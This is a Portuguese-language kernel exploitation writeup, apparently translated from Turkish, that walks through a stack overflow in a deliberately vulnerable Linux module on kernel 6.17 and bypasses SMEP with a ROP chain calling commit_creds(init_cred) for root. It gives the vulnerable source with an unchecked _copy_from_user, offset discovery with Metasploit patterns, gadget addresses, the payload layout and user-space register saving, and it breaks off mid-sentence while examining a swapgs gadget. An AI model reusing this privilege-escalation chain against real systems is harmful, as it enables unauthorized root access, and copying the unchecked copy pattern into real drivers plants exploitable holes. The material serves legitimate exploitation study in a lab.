Linux Kernel 6.17 Stack Overflow - Bypass de SMEP via kROP (Writeup em turco)
Autor: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass
Neste writeup, examina-se como explorar uma vulnerabilidade de kernel stack overflow no Linux kernel 6.17.0-5-generic com SMEP e SMAP ativos. O método clássico ret2user torna-se ineficaz diante dessa proteção. Como alternativa, utiliza-se uma cadeia Kernel ROP (kROP).
As demais proteções (KASLR, KPTI, shadow stack, stack canary) foram desativadas neste ambiente; o foco é exclusivamente a técnica de bypass de SMEP.
SMEP (Supervisor Mode Execution Prevention) é uma proteção em nível de processador. O kernel não pode executar códigos em páginas de memória pertencentes ao espaço do usuário. Ou seja, quando você escreve shellcode em um buffer do usuário e redireciona o kernel para lá, a CPU interrompe você imediatamente.
É por isso que o ret2user clássico morre.
Você pode confirmar pelo GDB que SMEP e SMAP estão ativos:
info register cr4
Se o valor for 0x372ef0, converta para binário e examine os bits:
0x372ef0 → 0011 0111 0010 1110 1111 0000
Da direita para a esquerda, começando no índice 0:
| Grupo de bits | Intervalo | Significado |
|---|---|---|
| 0000 | 0–3 | — |
| 1111 | 4–7 | Bit 5=PAE, Bit 7=PGE |
| 1110 | 8–11 | Bit 9=OSFXSR, Bit 10=OSXMMEXCPT |
| 0010 | 12–15 | Bit 13=VMXE |
| 0111 | 16–19 | Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE |
| 0011 | 20–23 | Bit 20=SMEP ✓, Bit 21=SMAP ✓ |
Bit 20 definido → SMEP ativo. A CPU bloqueia a execução de código em páginas Ring 3 a partir do Ring 0.
Uma observação: a partir do kernel 5.16, o registrador CR4 foi "fixado". Antes, era possível limpar o bit SMEP com gadgets do tipo mov cr4, rax. Agora essa porta está fechada. Mas isso não importa, porque não vamos tocar no CR4 de forma alguma.
O vmlinuz deve ser copiado do guest para o host. Após copiar, converta-o em vmlinux_raw:
./extract-vmlinux vmlinuz > vmlinux_raw
Script: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
A linha do GRUB no guest:
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"
Comando de inicialização do QEMU:
qemu-system-x86_64 \
-m 4G \
-enable-kvm \
-cpu host \
-drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
-vga qxl \
-device virtio-serial-pci \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent \
-display spice-app \
-net nic -net user \
-usb -usbdevice tablet \
-vga virtio \
-s -S
Inicie o GDB no host durante a inicialização do sistema:
gdb ./vmlinux_raw
# ardından: continue
Fonte: rop.c
__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
char tampon[64];
// ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
if (_copy_from_user(tampon, buf, count)) {
return -EFAULT;
}
return count;
}
Buffer fixo de 64 bytes. _copy_from_user nunca verifica quantos bytes serão copiados. Basta enviar 65 bytes a partir do espaço do usuário; a pilha do kernel começa a ser corrompida.
Ponto de entrada do exploit: /dev/vuln_device
sudo su
make # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko
Em seguida, copie rop.ko para o host (informações de símbolo são necessárias para o GDB).
Convenção de chamada x64: o primeiro argumento é RDI, o segundo é RSI, o terceiro é RDX, o quarto é RCX.
Quando device_write é chamado, o endereço de retorno está localizado em rbp+8 na stack do kernel. Nosso objetivo é assumir o controle desse endereço.
O LKM foi compilado com símbolos de depuração, então vamos rastreá-lo adequadamente com o GDB.
No guest, examine os endereços dos módulos:
cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)
cat /sys/module/rop/sections/.text # 0xffffffffc092f000
cat /sys/module/rop/sections/.data # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss # 0xffffffffc0a15640
Pressione Ctrl+C no GDB no Host, carregue os símbolos:
add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640
Breakpoint antes e depois de _copy_from_user:
b *0xffffffffc092f059
b *0xffffffffc092f05e
continue
Crie um padrão de 88 bytes com o Metasploit:
msf-pattern_create -l 88
Salve o padrão como payload.txt, envie com find_offset:
gcc -o find_offset find_offset.c
./find_offset payload.txt
Ele vai parar no breakpoint do kernel. No GDB, anote o conteúdo de rbp+8. No segundo breakpoint, você verá que rbp+8 está preenchido com o pattern.
Calcule o offset no host:
msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72
O endereço de retorno é gravado a partir do byte 72.
Por que o ROP consegue contornar o SMEP? Porque o ROP utiliza códigos já existentes na própria região .text do kernel. Ele não executa código novo. Não toca na memória do usuário de forma alguma. O SMEP não consegue detectar isso.
Salve os registradores do user space antes do iretq:
__asm__ volatile (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
::: "memory"
);
"memory" crítica de clobber: se o GCC armazenar esses valores em cache, o frame iretq ficará corrompido.
payload[i++] = POP_RDI_RET; // pop rdi ; ret
payload[i++] = INIT_CRED; // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS; // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir
Por que prepare_kernel_cred não existe?
No kernel 6.17, não foi encontrado um gadget de transferência de registrador limpo como mov rdi, rax ; ret. init_cred já é um endereço estático, pop rdi; ret é suficiente. O payload também permanece pequeno: 144 bytes.
Endereços dos gadgets:
commit_creds e init_cred:
cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds
cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred
pop rdi ; ret → opcode \x5f\xc3
Intervalo .text:
Başlangıç : 0xffffffff81000000
Boyut : 0x1637970
Bitiş : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3
O primeiro resultado 0xffffffff812582bd → verifique no GDB com x/3i 0xffffffff812582bd. Sequência limpa pop rdi; ret.
swapgs + iretq → opcodes: 0x0F 0x01 0xF8 e 0x48 0xCF
python3 find_swapgs.py vmlinux_raw
O script retorna dois candidatos. 0xffffffff81001866 contém pops demais, o que corrompe a stack. Examine 0xffffffff8100118f:
0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...] ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne 0xffffffff81001241
Onde ele pula: